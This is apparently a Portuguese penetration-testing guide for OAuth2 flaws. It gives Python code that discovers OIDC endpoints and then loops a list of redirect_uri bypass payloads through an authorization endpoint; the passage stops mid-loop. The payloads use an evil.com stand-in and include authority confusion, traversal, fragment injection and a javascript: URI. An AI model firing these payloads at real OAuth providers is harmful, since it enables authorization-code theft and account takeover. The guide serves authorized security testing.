Testando Falhas na Implementação do OAuth2

Quando Usar

• Avaliar o fluxo de código de autorização do OAuth 2.0 para fraquezas na validação de URI de redirecionamento
• Testar aplicações cliente OAuth para proteção CSRF (uso do parâmetro state) e aplicação de PKCE
• Avaliar o armazenamento, transmissão e gerenciamento do ciclo de vida de tokens em implementações OAuth
• Testar escalonamento de escopo onde clientes solicitam mais permissões do que o autorizado
• Avaliar implementações OpenID Connect para validação de ID token e uso de nonce

Não use sem autorização por escrito. Testes OAuth podem resultar em roubo de token ou acesso não autorizado.

Pré-requisitos

• Autorização por escrito especificando o provedor OAuth e as aplicações cliente no escopo
• Cliente OAuth de teste registrado com o servidor de autorização
• Burp Suite Professional para interceptar redirecionamentos OAuth e fluxos de token
• Python 3.10+ com as bibliotecas requests e oauthlib
• Ferramentas de desenvolvedor do navegador para observar cadeias de redirecionamento OAuth
• Conhecimento dos tipos de concessão OAuth 2.0 em uso (código de autorização, implícito, credenciais de cliente)

Fluxo de Trabalho

Etapa 1: Reconhecimento do Fluxo OAuth

import requests
import urllib.parse
import re
import hashlib
import base64
import secrets

AUTH_SERVER = "https://auth.example.com"
CLIENT_ID = "test-client-id"
REDIRECT_URI = "https://app.example.com/callback"
SCOPE = "openid profile email"

# Discover OAuth endpoints
well_known = requests.get(f"{AUTH_SERVER}/.well-known/openid-configuration")
if well_known.status_code == 200:
    config = well_known.json()
    print("OAuth/OIDC Configuration:")
    print(f"  Authorization: {config.get('authorization_endpoint')}")
    print(f"  Token: {config.get('token_endpoint')}")
    print(f"  UserInfo: {config.get('userinfo_endpoint')}")
    print(f"  JWKS: {config.get('jwks_uri')}")
    print(f"  Supported grants: {config.get('grant_types_supported')}")
    print(f"  Supported scopes: {config.get('scopes_supported')}")
    print(f"  PKCE methods: {config.get('code_challenge_methods_supported')}")
    auth_endpoint = config['authorization_endpoint']
    token_endpoint = config['token_endpoint']
else:
    # Try common paths
    for path in ["/authorize", "/oauth/authorize", "/oauth2/authorize", "/auth"]:
        resp = requests.get(f"{AUTH_SERVER}{path}", allow_redirects=False)
        if resp.status_code in (302, 400):
            print(f"Authorization endpoint found: {AUTH_SERVER}{path}")
            auth_endpoint = f"{AUTH_SERVER}{path}"
            break

Etapa 2: Teste de Validação de URI de Redirecionamento

# Testar a rigidez da validação de redirect_uri
REDIRECT_BYPASS_PAYLOADS = [
    # Variações de open redirect
    REDIRECT_URI,                                          # Legítimo
    "https://evil.com",                                    # Domínio diferente
    "https://app.example.com.evil.com/callback",          # Subdomínio do atacante
    "https://app.example.com@evil.com/callback",          # Confusão de autoridade de URL
    f"{REDIRECT_URI}/../../../evil.com",                  # Travessia de diretório
    f"{REDIRECT_URI}?next=https://evil.com",              # Injeção de parâmetro
    f"{REDIRECT_URI}#https://evil.com",                   # Injeção de fragmento
    f"{REDIRECT_URI}%23evil.com",                         # Fragmento codificado
    "https://app.example.com/callback/../../evil",        # Caminho relativo
    "https://APP.EXAMPLE.COM/callback",                   # Variação de maiúsculas/minúsculas
    "https://app.example.com/Callback",                   # Variação de maiúsculas/minúsculas do caminho
    "https://app.example.com/callback/",                  # Barra final
    "https://app.example.com/callback?",                  # Ponto de interrogação final
    "http://app.example.com/callback",                    # Downgrade HTTP
    "https://app.example.com:443/callback",               # Porta explícita
    "https://app.example.com:8443/callback",              # Porta diferente
    f"{REDIRECT_URI}/.evil.com",                          # Segmento de ponto
    "https://app.example.com/callbackevil",               # Correspondência de prefixo de caminho
    "javascript://app.example.com/callback%0aalert(1)",   # Protocolo JavaScript
]

print("=== Testando Validação de URI de Redirecionamento ===\n")
for redirect in REDIRECT_BYPASS_PAYLOADS:
    params = {
        "response_type": "code",
        "client_id": CLIENT_ID,
        "redirect_uri": redirect,
        "scope": SCOPE,
        "state": secrets.token_urlsafe(32),
    }
    resp = requests.get(auth_endpoint, params=params, allow_redirects=False)


…